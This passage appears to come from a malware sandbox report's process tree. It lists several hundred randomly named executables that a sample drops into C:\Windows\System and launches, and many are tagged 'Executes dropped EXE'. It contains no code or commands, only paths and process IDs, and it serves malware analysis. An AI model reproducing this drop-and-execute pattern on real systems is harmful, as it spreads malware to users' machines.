  C:\Windows\System\BwRoQiM.exe
  2⤵
  - Executes dropped EXE
  PID:4160
- C:\Windows\System\gZXoOGf.exe
  C:\Windows\System\gZXoOGf.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Windows\System\hJXSega.exe
  C:\Windows\System\hJXSega.exe
  2⤵
  - Executes dropped EXE
  PID:632
- C:\Windows\System\YgLySwv.exe
  C:\Windows\System\YgLySwv.exe
  2⤵
  - Executes dropped EXE
  PID:4340
- C:\Windows\System\kNTdsus.exe
  C:\Windows\System\kNTdsus.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\ITicTKp.exe
  C:\Windows\System\ITicTKp.exe
  2⤵
  - Executes dropped EXE
  PID:3244
- C:\Windows\System\mHROrYe.exe
  C:\Windows\System\mHROrYe.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\nTMOgqG.exe
  C:\Windows\System\nTMOgqG.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\JuQAytT.exe
  C:\Windows\System\JuQAytT.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\KgVrgjd.exe
  C:\Windows\System\KgVrgjd.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\sFFezam.exe
  C:\Windows\System\sFFezam.exe
  2⤵
  - Executes dropped EXE
  PID:4720
- C:\Windows\System\dcJwFxK.exe
  C:\Windows\System\dcJwFxK.exe
  2⤵
  - Executes dropped EXE
  PID:3720
- C:\Windows\System\MGsYxiZ.exe
  C:\Windows\System\MGsYxiZ.exe
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\Windows\System\yRuZnKj.exe
  C:\Windows\System\yRuZnKj.exe
  2⤵
  - Executes dropped EXE
  PID:3420
- C:\Windows\System\oDkYMJS.exe
  C:\Windows\System\oDkYMJS.exe
  2⤵
  - Executes dropped EXE
  PID:4632
- C:\Windows\System\mBCHqcJ.exe
  C:\Windows\System\mBCHqcJ.exe
  2⤵
  - Executes dropped EXE
  PID:1232
- C:\Windows\System\azETuvG.exe
  C:\Windows\System\azETuvG.exe
  2⤵
  - Executes dropped EXE
  PID:4964
- C:\Windows\System\TvUWyEK.exe
  C:\Windows\System\TvUWyEK.exe
  2⤵
  - Executes dropped EXE
  PID:3140
- C:\Windows\System\DFRgWGI.exe
  C:\Windows\System\DFRgWGI.exe
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\System\TZhzoOQ.exe
  C:\Windows\System\TZhzoOQ.exe
  2⤵
  - Executes dropped EXE
  PID:3364
- C:\Windows\System\MvEaVzb.exe
  C:\Windows\System\MvEaVzb.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\dJxTvPb.exe
  C:\Windows\System\dJxTvPb.exe
  2⤵
  - Executes dropped EXE
  PID:232
- C:\Windows\System\wpgzYXf.exe
  C:\Windows\System\wpgzYXf.exe
  2⤵
  - Executes dropped EXE
  PID:4336
- C:\Windows\System\kJEIWTo.exe
  C:\Windows\System\kJEIWTo.exe
  2⤵
  - Executes dropped EXE
  PID:4640
- C:\Windows\System\NrUgAvR.exe
  C:\Windows\System\NrUgAvR.exe
  2⤵
  - Executes dropped EXE
  PID:4008
- C:\Windows\System\mpQbqSl.exe
  C:\Windows\System\mpQbqSl.exe
  2⤵
  - Executes dropped EXE
  PID:4004
- C:\Windows\System\RoZgZbv.exe
  C:\Windows\System\RoZgZbv.exe
  2⤵
  - Executes dropped EXE
  PID:4324
- C:\Windows\System\vYTccSQ.exe
  C:\Windows\System\vYTccSQ.exe
  2⤵
  - Executes dropped EXE
  PID:4184
- C:\Windows\System\GWPUSVg.exe
  C:\Windows\System\GWPUSVg.exe
  2⤵
  - Executes dropped EXE
  PID:1812
- C:\Windows\System\flMigBu.exe
  C:\Windows\System\flMigBu.exe
  2⤵
  - Executes dropped EXE
  PID:4384
- C:\Windows\System\QQCQxiR.exe
  C:\Windows\System\QQCQxiR.exe
  2⤵
  - Executes dropped EXE
  PID:3520
- C:\Windows\System\SpxHAsQ.exe
  C:\Windows\System\SpxHAsQ.exe
  2⤵
  - Executes dropped EXE
  PID:3308
- C:\Windows\System\iTaaLGY.exe
  C:\Windows\System\iTaaLGY.exe
  2⤵
  - Executes dropped EXE
  PID:2552
- C:\Windows\System\FqXLpDX.exe
  C:\Windows\System\FqXLpDX.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\puZYYiP.exe
  C:\Windows\System\puZYYiP.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\tGcCHYO.exe
  C:\Windows\System\tGcCHYO.exe
  2⤵
  - Executes dropped EXE
  PID:3536
- C:\Windows\System\QwuSNCn.exe
  C:\Windows\System\QwuSNCn.exe
  2⤵
  - Executes dropped EXE
  PID:956
- C:\Windows\System\CWodrtJ.exe
  C:\Windows\System\CWodrtJ.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\RdEwgFI.exe
  C:\Windows\System\RdEwgFI.exe
  2⤵
  - Executes dropped EXE
  PID:3160
- C:\Windows\System\OdpmmpW.exe
  C:\Windows\System\OdpmmpW.exe
  2⤵
  - Executes dropped EXE
  PID:4144
- C:\Windows\System\wxBdxxK.exe
  C:\Windows\System\wxBdxxK.exe
  2⤵
  - Executes dropped EXE
  PID:116
- C:\Windows\System\XXIKooi.exe
  C:\Windows\System\XXIKooi.exe
  2⤵
  - Executes dropped EXE
  PID:3636
- C:\Windows\System\fxBzbkt.exe
  C:\Windows\System\fxBzbkt.exe
  2⤵
  - Executes dropped EXE
  PID:1688
- C:\Windows\System\zsPCrtc.exe
  C:\Windows\System\zsPCrtc.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\WWpXFqs.exe
  C:\Windows\System\WWpXFqs.exe
  2⤵
  - Executes dropped EXE
  PID:4836
- C:\Windows\System\tTwvSge.exe
  C:\Windows\System\tTwvSge.exe
  2⤵
  - Executes dropped EXE
  PID:5132
- C:\Windows\System\HJuwEwV.exe
  C:\Windows\System\HJuwEwV.exe
  2⤵
  PID:5160
- C:\Windows\System\DiArQyF.exe
  C:\Windows\System\DiArQyF.exe
  2⤵
  PID:5196
- C:\Windows\System\AZufapl.exe
  C:\Windows\System\AZufapl.exe
  2⤵
  PID:5220
- C:\Windows\System\TWJpKkX.exe
  C:\Windows\System\TWJpKkX.exe
  2⤵
  PID:5240
- C:\Windows\System\QbHnHtp.exe
  C:\Windows\System\QbHnHtp.exe
  2⤵
  PID:5260
- C:\Windows\System\xKsvvBR.exe
  C:\Windows\System\xKsvvBR.exe
  2⤵
  PID:5312
- C:\Windows\System\Hassqzu.exe
  C:\Windows\System\Hassqzu.exe
  2⤵
  PID:5340
- C:\Windows\System\AhshIbK.exe
  C:\Windows\System\AhshIbK.exe
  2⤵
  PID:5368
- C:\Windows\System\hmwWecW.exe
  C:\Windows\System\hmwWecW.exe
  2⤵
  PID:5388
- C:\Windows\System\DgRHpPb.exe
  C:\Windows\System\DgRHpPb.exe
  2⤵
  PID:5404
- C:\Windows\System\CMwmyly.exe
  C:\Windows\System\CMwmyly.exe
  2⤵
  PID:5420
- C:\Windows\System\UhGyJFL.exe
  C:\Windows\System\UhGyJFL.exe
  2⤵
  PID:5436
- C:\Windows\System\ygecfRa.exe
  C:\Windows\System\ygecfRa.exe
  2⤵
  PID:5456
- C:\Windows\System\WSLFNks.exe
  C:\Windows\System\WSLFNks.exe
  2⤵
  PID:5540
- C:\Windows\System\nPhxRfX.exe
  C:\Windows\System\nPhxRfX.exe
  2⤵
  PID:5568
- C:\Windows\System\dmRPzuj.exe
  C:\Windows\System\dmRPzuj.exe
  2⤵
  PID:5632
- C:\Windows\System\JiMeblW.exe
  C:\Windows\System\JiMeblW.exe
  2⤵
  PID:5652
- C:\Windows\System\aLqjmmu.exe
  C:\Windows\System\aLqjmmu.exe
  2⤵
  PID:5696
- C:\Windows\System\AuQzwqe.exe
  C:\Windows\System\AuQzwqe.exe
  2⤵
  PID:5720
- C:\Windows\System\vyGuYYU.exe
  C:\Windows\System\vyGuYYU.exe
  2⤵
  PID:5736
- C:\Windows\System\kaCNEMZ.exe
  C:\Windows\System\kaCNEMZ.exe
  2⤵
  PID:5764
- C:\Windows\System\YnXYVze.exe
  C:\Windows\System\YnXYVze.exe
  2⤵
  PID:5792
- C:\Windows\System\JZqxJZG.exe
  C:\Windows\System\JZqxJZG.exe
  2⤵
  PID:5816
- C:\Windows\System\jfJTfqa.exe
  C:\Windows\System\jfJTfqa.exe
  2⤵
  PID:5844
- C:\Windows\System\mveZTzA.exe
  C:\Windows\System\mveZTzA.exe
  2⤵
  PID:5872
- C:\Windows\System\HtvdMOl.exe
  C:\Windows\System\HtvdMOl.exe
  2⤵
  PID:5900
- C:\Windows\System\WXSTZcn.exe
  C:\Windows\System\WXSTZcn.exe
  2⤵
  PID:5920
- C:\Windows\System\hIQjIgK.exe
  C:\Windows\System\hIQjIgK.exe
  2⤵
  PID:5940
- C:\Windows\System\GmoDJGm.exe
  C:\Windows\System\GmoDJGm.exe
  2⤵
  PID:5960
- C:\Windows\System\XVfvTyT.exe
  C:\Windows\System\XVfvTyT.exe
  2⤵
  PID:5980
- C:\Windows\System\oYVayvZ.exe
  C:\Windows\System\oYVayvZ.exe
  2⤵
  PID:6004
- C:\Windows\System\xxoqwjg.exe
  C:\Windows\System\xxoqwjg.exe
  2⤵
  PID:6020
- C:\Windows\System\rEtUBdW.exe
  C:\Windows\System\rEtUBdW.exe
  2⤵
  PID:6040
- C:\Windows\System\eBBNPDm.exe
  C:\Windows\System\eBBNPDm.exe
  2⤵
  PID:6124
- C:\Windows\System\YIeoLWd.exe
  C:\Windows\System\YIeoLWd.exe
  2⤵
  PID:2784
- C:\Windows\System\anHVUCu.exe
  C:\Windows\System\anHVUCu.exe
  2⤵
  PID:2424
- C:\Windows\System\uGHHfii.exe
  C:\Windows\System\uGHHfii.exe
  2⤵
  PID:5192
- C:\Windows\System\yMHYgqE.exe
  C:\Windows\System\yMHYgqE.exe
  2⤵
  PID:5288
- C:\Windows\System\IkmeInX.exe
  C:\Windows\System\IkmeInX.exe
  2⤵
  PID:5348
- C:\Windows\System\OaqqXkX.exe
  C:\Windows\System\OaqqXkX.exe
  2⤵
  PID:5432
- C:\Windows\System\vGRnHMH.exe
  C:\Windows\System\vGRnHMH.exe
  2⤵
  PID:5520
- C:\Windows\System\SpiESWb.exe
  C:\Windows\System\SpiESWb.exe
  2⤵
  PID:5396
- C:\Windows\System\khghbIG.exe
  C:\Windows\System\khghbIG.exe
  2⤵
  PID:5532
- C:\Windows\System\VWzMhBs.exe
  C:\Windows\System\VWzMhBs.exe
  2⤵
  PID:5600
- C:\Windows\System\YKKJKhW.exe
  C:\Windows\System\YKKJKhW.exe
  2⤵
  PID:5732
- C:\Windows\System\RuNUFhz.exe
  C:\Windows\System\RuNUFhz.exe
  2⤵
  PID:5728
- C:\Windows\System\dkgGRYt.exe
  C:\Windows\System\dkgGRYt.exe
  2⤵
  PID:5704
- C:\Windows\System\KVeOQqG.exe
  C:\Windows\System\KVeOQqG.exe
  2⤵
  PID:5968
- C:\Windows\System\YDoaNtw.exe
  C:\Windows\System\YDoaNtw.exe
  2⤵
  PID:5776
- C:\Windows\System\RRXjfpq.exe
  C:\Windows\System\RRXjfpq.exe
  2⤵
  PID:5972
- C:\Windows\System\ltFbrfy.exe
  C:\Windows\System\ltFbrfy.exe
  2⤵
  PID:6084
- C:\Windows\System\zGGSbNZ.exe
  C:\Windows\System\zGGSbNZ.exe
  2⤵
  PID:5896
- C:\Windows\System\nQSQmBC.exe
  C:\Windows\System\nQSQmBC.exe
  2⤵
  PID:6104
- C:\Windows\System\oLEQrOO.exe
  C:\Windows\System\oLEQrOO.exe
  2⤵
  PID:3756
- C:\Windows\System\yoeBwKY.exe
  C:\Windows\System\yoeBwKY.exe
  2⤵
  PID:3792
- C:\Windows\System\xCFqdBD.exe
  C:\Windows\System\xCFqdBD.exe
  2⤵
  PID:5212
- C:\Windows\System\lBfCaxc.exe
  C:\Windows\System\lBfCaxc.exe
  2⤵
  PID:5464
- C:\Windows\System\AWvNMIJ.exe
  C:\Windows\System\AWvNMIJ.exe
  2⤵
  PID:5660
- C:\Windows\System\vMKgvOK.exe
  C:\Windows\System\vMKgvOK.exe
  2⤵
  PID:5828
- C:\Windows\System\LYtNnmR.exe
  C:\Windows\System\LYtNnmR.exe
  2⤵
  PID:5864
- C:\Windows\System\FqwuSVi.exe
  C:\Windows\System\FqwuSVi.exe
  2⤵
  PID:6068
- C:\Windows\System\BRyUcUP.exe
  C:\Windows\System\BRyUcUP.exe
  2⤵
  PID:1460
- C:\Windows\System\dbSLCPd.exe
  C:\Windows\System\dbSLCPd.exe
  2⤵
  PID:5356
- C:\Windows\System\uhcUaHv.exe
  C:\Windows\System\uhcUaHv.exe
  2⤵
  PID:5932
- C:\Windows\System\ihHpAoV.exe
  C:\Windows\System\ihHpAoV.exe
  2⤵
  PID:6156
- C:\Windows\System\UTTwCJk.exe
  C:\Windows\System\UTTwCJk.exe
  2⤵
  PID:6176
- C:\Windows\System\yJBuMBq.exe
  C:\Windows\System\yJBuMBq.exe
  2⤵
  PID:6200
- C:\Windows\System\dhYWfJP.exe
  C:\Windows\System\dhYWfJP.exe
  2⤵
  PID:6240
- C:\Windows\System\lGomDtn.exe
  C:\Windows\System\lGomDtn.exe
  2⤵
  PID:6260
- C:\Windows\System\SkPlkZl.exe
  C:\Windows\System\SkPlkZl.exe
  2⤵
  PID:6284
- C:\Windows\System\ATfUTFp.exe
  C:\Windows\System\ATfUTFp.exe
  2⤵
  PID:6304
- C:\Windows\System\Medelxg.exe
  C:\Windows\System\Medelxg.exe
  2⤵
  PID:6332
- C:\Windows\System\JMbBSOo.exe
  C:\Windows\System\JMbBSOo.exe
  2⤵
  PID:6356
- C:\Windows\System\viKzQoS.exe
  C:\Windows\System\viKzQoS.exe
  2⤵
  PID:6380
- C:\Windows\System\jgfXosC.exe
  C:\Windows\System\jgfXosC.exe
  2⤵
  PID:6400
- C:\Windows\System\UUiBxOt.exe
  C:\Windows\System\UUiBxOt.exe
  2⤵
  PID:6420
- C:\Windows\System\JxbDGjH.exe
  C:\Windows\System\JxbDGjH.exe
  2⤵
  PID:6452
- C:\Windows\System\AYngsRZ.exe
  C:\Windows\System\AYngsRZ.exe
  2⤵
  PID:6472
- C:\Windows\System\YVIdshh.exe
  C:\Windows\System\YVIdshh.exe
  2⤵
  PID:6496
- C:\Windows\System\uIGHypr.exe
  C:\Windows\System\uIGHypr.exe
  2⤵
  PID:6544
- C:\Windows\System\UoBonQS.exe
  C:\Windows\System\UoBonQS.exe
  2⤵
  PID:6576
- C:\Windows\System\RSwWCpq.exe
  C:\Windows\System\RSwWCpq.exe
  2⤵
  PID:6616
- C:\Windows\System\Wsfvpfi.exe
  C:\Windows\System\Wsfvpfi.exe
  2⤵
  PID:6632
- C:\Windows\System\UyjmzGO.exe
  C:\Windows\System\UyjmzGO.exe
  2⤵
  PID:6656
- C:\Windows\System\YaBRMWI.exe
  C:\Windows\System\YaBRMWI.exe
  2⤵
  PID:6676
- C:\Windows\System\ajmMJqO.exe
  C:\Windows\System\ajmMJqO.exe
  2⤵
  PID:6716
- C:\Windows\System\UGPvrjh.exe
  C:\Windows\System\UGPvrjh.exe
  2⤵
  PID:6780
- C:\Windows\System\SOCeSHS.exe
  C:\Windows\System\SOCeSHS.exe
  2⤵
  PID:6820
- C:\Windows\System\PQKKnVS.exe
  C:\Windows\System\PQKKnVS.exe
  2⤵
  PID:6836
- C:\Windows\System\SYkpVwY.exe
  C:\Windows\System\SYkpVwY.exe
  2⤵
  PID:6856
- C:\Windows\System\TvuXOAj.exe
  C:\Windows\System\TvuXOAj.exe
  2⤵
  PID:6884
- C:\Windows\System\eWmdQEH.exe
  C:\Windows\System\eWmdQEH.exe
  2⤵
  PID:6900
- C:\Windows\System\seRUZcN.exe
  C:\Windows\System\seRUZcN.exe
  2⤵
  PID:6940
- C:\Windows\System\zrYtySk.exe
  C:\Windows\System\zrYtySk.exe
  2⤵
  PID:6956
- C:\Windows\System\Wourohi.exe
  C:\Windows\System\Wourohi.exe
  2⤵
  PID:6992
- C:\Windows\System\kGOHwpJ.exe
  C:\Windows\System\kGOHwpJ.exe
  2⤵
  PID:7012
- C:\Windows\System\QntbuUf.exe
  C:\Windows\System\QntbuUf.exe
  2⤵
  PID:7048
- C:\Windows\System\PZMMKeK.exe
  C:\Windows\System\PZMMKeK.exe
  2⤵
  PID:7076
- C:\Windows\System\yVpaSPj.exe
  C:\Windows\System\yVpaSPj.exe
  2⤵
  PID:7100
- C:\Windows\System\jlybNGH.exe
  C:\Windows\System\jlybNGH.exe
  2⤵
  PID:7120
- C:\Windows\System\FGXWqVc.exe
  C:\Windows\System\FGXWqVc.exe
  2⤵
  PID:7144
- C:\Windows\System\mltsJZp.exe
  C:\Windows\System\mltsJZp.exe
  2⤵
  PID:7164
- C:\Windows\System\zjfRsnc.exe
  C:\Windows\System\zjfRsnc.exe
  2⤵
  PID:5928
- C:\Windows\System\SKkZNnP.exe
  C:\Windows\System\SKkZNnP.exe
  2⤵
  PID:4320
- C:\Windows\System\wZiRpkk.exe
  C:\Windows\System\wZiRpkk.exe
  2⤵
  PID:6372
- C:\Windows\System\jdVEcqe.exe
  C:\Windows\System\jdVEcqe.exe
  2⤵
  PID:6448
- C:\Windows\System\zwmqMHL.exe
  C:\Windows\System\zwmqMHL.exe
  2⤵
  PID:6492
- C:\Windows\System\OVFrzvs.exe
  C:\Windows\System\OVFrzvs.exe
  2⤵
  PID:6568
- C:\Windows\System\vXDPqwR.exe
  C:\Windows\System\vXDPqwR.exe
  2⤵
  PID:6592
- C:\Windows\System\UxmKyIi.exe
  C:\Windows\System\UxmKyIi.exe
  2⤵
  PID:6652
- C:\Windows\System\VJPKISo.exe
  C:\Windows\System\VJPKISo.exe
  2⤵
  PID:6796
- C:\Windows\System\JNJTCsm.exe
  C:\Windows\System\JNJTCsm.exe
  2⤵
  PID:6876
- C:\Windows\System\GZZORnp.exe
  C:\Windows\System\GZZORnp.exe
  2⤵
  PID:6912
- C:\Windows\System\pzpwUtE.exe
  C:\Windows\System\pzpwUtE.exe
  2⤵
  PID:6948
- C:\Windows\System\oCWJKlg.exe
  C:\Windows\System\oCWJKlg.exe
  2⤵
  PID:7004
- C:\Windows\System\HsDUuTz.exe
  C:\Windows\System\HsDUuTz.exe
  2⤵
  PID:7064
- C:\Windows\System\YrMtpWY.exe
  C:\Windows\System\YrMtpWY.exe
  2⤵
  PID:7156
- C:\Windows\System\dKbqbxS.exe
  C:\Windows\System\dKbqbxS.exe
  2⤵
  PID:7116
- C:\Windows\System\WupSQKF.exe
  C:\Windows\System\WupSQKF.exe
  2⤵
  PID:6184
- C:\Windows\System\dFCfwXJ.exe
  C:\Windows\System\dFCfwXJ.exe
  2⤵
  PID:6364
- C:\Windows\System\okxrkxV.exe
  C:\Windows\System\okxrkxV.exe
  2⤵
  PID:6396
- C:\Windows\System\mqmFlpm.exe
  C:\Windows\System\mqmFlpm.exe
  2⤵
  PID:6532
- C:\Windows\System\meYQypB.exe
  C:\Windows\System\meYQypB.exe
  2⤵
  PID:6624
- C:\Windows\System\SPVjhdp.exe
  C:\Windows\System\SPVjhdp.exe
  2⤵
  PID:6776
- C:\Windows\System\bltGPQv.exe
  C:\Windows\System\bltGPQv.exe
  2⤵
  PID:6928
- C:\Windows\System\GsFdVSv.exe
  C:\Windows\System\GsFdVSv.exe
  2⤵
  PID:7112
- C:\Windows\System\HmqJUwX.exe
  C:\Windows\System\HmqJUwX.exe
  2⤵
  PID:7040
- C:\Windows\System\nHyKZkH.exe
  C:\Windows\System\nHyKZkH.exe
  2⤵
  PID:6348
- C:\Windows\System\GDOpZnr.exe
  C:\Windows\System\GDOpZnr.exe
  2⤵
  PID:6464
- C:\Windows\System\YiIhPWV.exe
  C:\Windows\System\YiIhPWV.exe
  2⤵
  PID:7188
- C:\Windows\System\kCUeZfR.exe
  C:\Windows\System\kCUeZfR.exe
  2⤵
  PID:7208
- C:\Windows\System\JeXVdpF.exe
  C:\Windows\System\JeXVdpF.exe
  2⤵
  PID:7228
- C:\Windows\System\mELawSU.exe
  C:\Windows\System\mELawSU.exe
  2⤵
  PID:7256
- C:\Windows\System\dzMCEMb.exe
  C:\Windows\System\dzMCEMb.exe
  2⤵
  PID:7276
- C:\Windows\System\QaiKtaV.exe
  C:\Windows\System\QaiKtaV.exe
  2⤵
  PID:7340
- C:\Windows\System\MyAPslh.exe
  C:\Windows\System\MyAPslh.exe
  2⤵
  PID:7356
- C:\Windows\System\QMNCicj.exe
  C:\Windows\System\QMNCicj.exe
  2⤵
  PID:7380
- C:\Windows\System\jwTodnc.exe
  C:\Windows\System\jwTodnc.exe
  2⤵
  PID:7404
- C:\Windows\System\YAbVoWC.exe
  C:\Windows\System\YAbVoWC.exe
  2⤵
  PID:7420
- C:\Windows\System\GLGkmiw.exe
  C:\Windows\System\GLGkmiw.exe
  2⤵
  PID:7448
- C:\Windows\System\ESevnHY.exe
  C:\Windows\System\ESevnHY.exe
  2⤵
  PID:7480
- C:\Windows\System\oIyqHSn.exe
  C:\Windows\System\oIyqHSn.exe
  2⤵
  PID:7500
- C:\Windows\System\gEHavnU.exe
  C:\Windows\System\gEHavnU.exe
  2⤵
  PID:7520
- C:\Windows\System\niLAjPL.exe
  C:\Windows\System\niLAjPL.exe
  2⤵
  PID:7544
- C:\Windows\System\tAeavWX.exe
  C:\Windows\System\tAeavWX.exe
  2⤵
  PID:7576
- C:\Windows\System\BFzlwJK.exe
  C:\Windows\System\BFzlwJK.exe
  2⤵
  PID:7592
- C:\Windows\System\ShUjdWe.exe
  C:\Windows\System\ShUjdWe.exe
  2⤵
  PID:7616
- C:\Windows\System\HGcddcB.exe
  C:\Windows\System\HGcddcB.exe
  2⤵
  PID:7636
- C:\Windows\System\nieGPJG.exe
  C:\Windows\System\nieGPJG.exe
  2⤵
  PID:7664
- C:\Windows\System\OtdOxsz.exe
  C:\Windows\System\OtdOxsz.exe
  2⤵
  PID:7684
- C:\Windows\System\tIEYIYB.exe
  C:\Windows\System\tIEYIYB.exe
  2⤵
  PID:7712
- C:\Windows\System\WBkdzaJ.exe
  C:\Windows\System\WBkdzaJ.exe
  2⤵
  PID:7736
- C:\Windows\System\vrqvfyd.exe
  C:\Windows\System\vrqvfyd.exe
  2⤵
  PID:7756
- C:\Windows\System\aFStcDx.exe
  C:\Windows\System\aFStcDx.exe
  2⤵
  PID:7772
- C:\Windows\System\gPKwVeK.exe
  C:\Windows\System\gPKwVeK.exe
  2⤵
  PID:7800
- C:\Windows\System\ylwKZMO.exe
  C:\Windows\System\ylwKZMO.exe
  2⤵
  PID:7820
- C:\Windows\System\KVaTLQf.exe
  C:\Windows\System\KVaTLQf.exe
  2⤵
  PID:7836
- C:\Windows\System\VilxlXD.exe
  C:\Windows\System\VilxlXD.exe
  2⤵
  PID:7856
- C:\Windows\System\XCpjeFN.exe
  C:\Windows\System\XCpjeFN.exe
  2⤵
  PID:7876
- C:\Windows\System\zxKZWRx.exe
  C:\Windows\System\zxKZWRx.exe
  2⤵
  PID:7896
- C:\Windows\System\PIEMzEd.exe
  C:\Windows\System\PIEMzEd.exe
  2⤵
  PID:7924
- C:\Windows\System\EFJTwgm.exe
  C:\Windows\System\EFJTwgm.exe
  2⤵
  PID:7944
- C:\Windows\System\INpggdl.exe
  C:\Windows\System\INpggdl.exe
  2⤵
  PID:7964
- C:\Windows\System\TEfEzjh.exe
  C:\Windows\System\TEfEzjh.exe
  2⤵
  PID:7996
- C:\Windows\System\ZasCLxU.exe
  C:\Windows\System\ZasCLxU.exe
  2⤵
  PID:8012
- C:\Windows\System\cnrmWlw.exe
  C:\Windows\System\cnrmWlw.exe
  2⤵
  PID:8032
- C:\Windows\System\ULnXHna.exe
  C:\Windows\System\ULnXHna.exe
  2⤵
  PID:8052
- C:\Windows\System\SSwRePd.exe
  C:\Windows\System\SSwRePd.exe
  2⤵
  PID:8080
- C:\Windows\System\gVVuXLx.exe
  C:\Windows\System\gVVuXLx.exe
  2⤵
  PID:8100
- C:\Windows\System\hRduPwU.exe
  C:\Windows\System\hRduPwU.exe
  2⤵
  PID:8120
- C:\Windows\System\WBJfgTK.exe
  C:\Windows\System\WBJfgTK.exe
  2⤵
  PID:8148
- C:\Windows\System\VqWVSZB.exe
  C:\Windows\System\VqWVSZB.exe
  2⤵
  PID:8164
- C:\Windows\System\zHipYpf.exe
  C:\Windows\System\zHipYpf.exe
  2⤵
  PID:8188
- C:\Windows\System\NCyLHWP.exe
  C:\Windows\System\NCyLHWP.exe
  2⤵
  PID:6672
- C:\Windows\System\Mnphvjs.exe
  C:\Windows\System\Mnphvjs.exe
  2⤵
  PID:1860
- C:\Windows\System\MZdoydZ.exe
  C:\Windows\System\MZdoydZ.exe
  2⤵
  PID:7088
- C:\Windows\System\mfRFpWK.exe
  C:\Windows\System\mfRFpWK.exe
  2⤵
  PID:7288
- C:\Windows\System\FSNNOJW.exe
  C:\Windows\System\FSNNOJW.exe
  2⤵
  PID:7224
- C:\Windows\System\TTLYDNm.exe
  C:\Windows\System\TTLYDNm.exe
  2⤵
  PID:7376
- C:\Windows\System\QsDwhIL.exe
  C:\Windows\System\QsDwhIL.exe
  2⤵
  PID:7436
- C:\Windows\System\mMXWCke.exe
  C:\Windows\System\mMXWCke.exe
  2⤵
  PID:7272
- C:\Windows\System\oXspXLk.exe
  C:\Windows\System\oXspXLk.exe
  2⤵
  PID:7496
- C:\Windows\System\dlDLIpT.exe
  C:\Windows\System\dlDLIpT.exe
  2⤵
  PID:7332
- C:\Windows\System\wsJRyLp.exe
  C:\Windows\System\wsJRyLp.exe
  2⤵
  PID:7600
- C:\Windows\System\dnWmjln.exe
  C:\Windows\System\dnWmjln.exe
  2⤵
  PID:7416
- C:\Windows\System\UumFfXL.exe
  C:\Windows\System\UumFfXL.exe
  2⤵
  PID:7512
- C:\Windows\System\RUsVYOU.exe
  C:\Windows\System\RUsVYOU.exe
  2⤵
  PID:7764
- C:\Windows\System\SjAHMvH.exe
  C:\Windows\System\SjAHMvH.exe
  2⤵
  PID:7588
- C:\Windows\System\BJPyWAS.exe
  C:\Windows\System\BJPyWAS.exe
  2⤵
  PID:7872
- C:\Windows\System\NFXwyQQ.exe
  C:\Windows\System\NFXwyQQ.exe
  2⤵
  PID:7908
- C:\Windows\System\uHpuiAV.exe
  C:\Windows\System\uHpuiAV.exe
  2⤵
  PID:7792
- C:\Windows\System\QxMMibf.exe
  C:\Windows\System\QxMMibf.exe
  2⤵
  PID:8008
- C:\Windows\System\IuBTPea.exe
  C:\Windows\System\IuBTPea.exe
  2⤵
  PID:8112
- C:\Windows\System\xCdGdkq.exe
  C:\Windows\System\xCdGdkq.exe
  2⤵
  PID:8160
- C:\Windows\System\mKNfjGc.exe
  C:\Windows\System\mKNfjGc.exe
  2⤵
  PID:7940
- C:\Windows\System\wcgXnaU.exe
  C:\Windows\System\wcgXnaU.exe
  2⤵
  PID:7960
- C:\Windows\System\wJSKwxB.exe
  C:\Windows\System\wJSKwxB.exe
  2⤵
  PID:8204
- C:\Windows\System\PcRqtLy.exe
  C:\Windows\System\PcRqtLy.exe
  2⤵
  PID:8224
- C:\Windows\System\GfEnjwh.exe
  C:\Windows\System\GfEnjwh.exe
  2⤵
  PID:8248
- C:\Windows\System\NKAVuKx.exe
  C:\Windows\System\NKAVuKx.exe
  2⤵
  PID:8268
- C:\Windows\System\oBqaTVD.exe
  C:\Windows\System\oBqaTVD.exe
  2⤵
  PID:8288
- C:\Windows\System\nhylwgS.exe
  C:\Windows\System\nhylwgS.exe
  2⤵
  PID:8316
- C:\Windows\System\RktzbxZ.exe
  C:\Windows\System\RktzbxZ.exe
  2⤵
  PID:8340
- C:\Windows\System\ytNBaOw.exe
  C:\Windows\System\ytNBaOw.exe
  2⤵
  PID:8360
- C:\Windows\System\zChQmBD.exe
  C:\Windows\System\zChQmBD.exe
  2⤵
  PID:8388
- C:\Windows\System\bSHWGCj.exe
  C:\Windows\System\bSHWGCj.exe
  2⤵
  PID:8412
- C:\Windows\System\ORVrasE.exe
  C:\Windows\System\ORVrasE.exe
  2⤵
  PID:8432
- C:\Windows\System\pDapHKV.exe
  C:\Windows\System\pDapHKV.exe
  2⤵
  PID:8452
- C:\Windows\System\YWpWbxZ.exe
  C:\Windows\System\YWpWbxZ.exe
  2⤵
  PID:8480
- C:\Windows\System\JfAxQGA.exe
  C:\Windows\System\JfAxQGA.exe
  2⤵
  PID:8504
- C:\Windows\System\JCCcfDw.exe
  C:\Windows\System\JCCcfDw.exe
  2⤵
  PID:8528
- C:\Windows\System\YRUeQNB.exe
  C:\Windows\System\YRUeQNB.exe
  2⤵
  PID:8548
- C:\Windows\System\zKgbnbn.exe
  C:\Windows\System\zKgbnbn.exe
  2⤵
  PID:8576
- C:\Windows\System\soOLduJ.exe
  C:\Windows\System\soOLduJ.exe
  2⤵
  PID:8596
- C:\Windows\System\pwbrGNa.exe
  C:\Windows\System\pwbrGNa.exe
  2⤵
  PID:8616
- C:\Windows\System\hgnVeSy.exe
  C:\Windows\System\hgnVeSy.exe
  2⤵
  PID:8636
- C:\Windows\System\xQBBLsG.exe
  C:\Windows\System\xQBBLsG.exe
  2⤵
  PID:8656
- C:\Windows\System\GTZtCoJ.exe
  C:\Windows\System\GTZtCoJ.exe
  2⤵
  PID:8672
- C:\Windows\System\FTktmSX.exe
  C:\Windows\System\FTktmSX.exe
  2⤵
  PID:8700
- C:\Windows\System\LWdOhgz.exe
  C:\Windows\System\LWdOhgz.exe
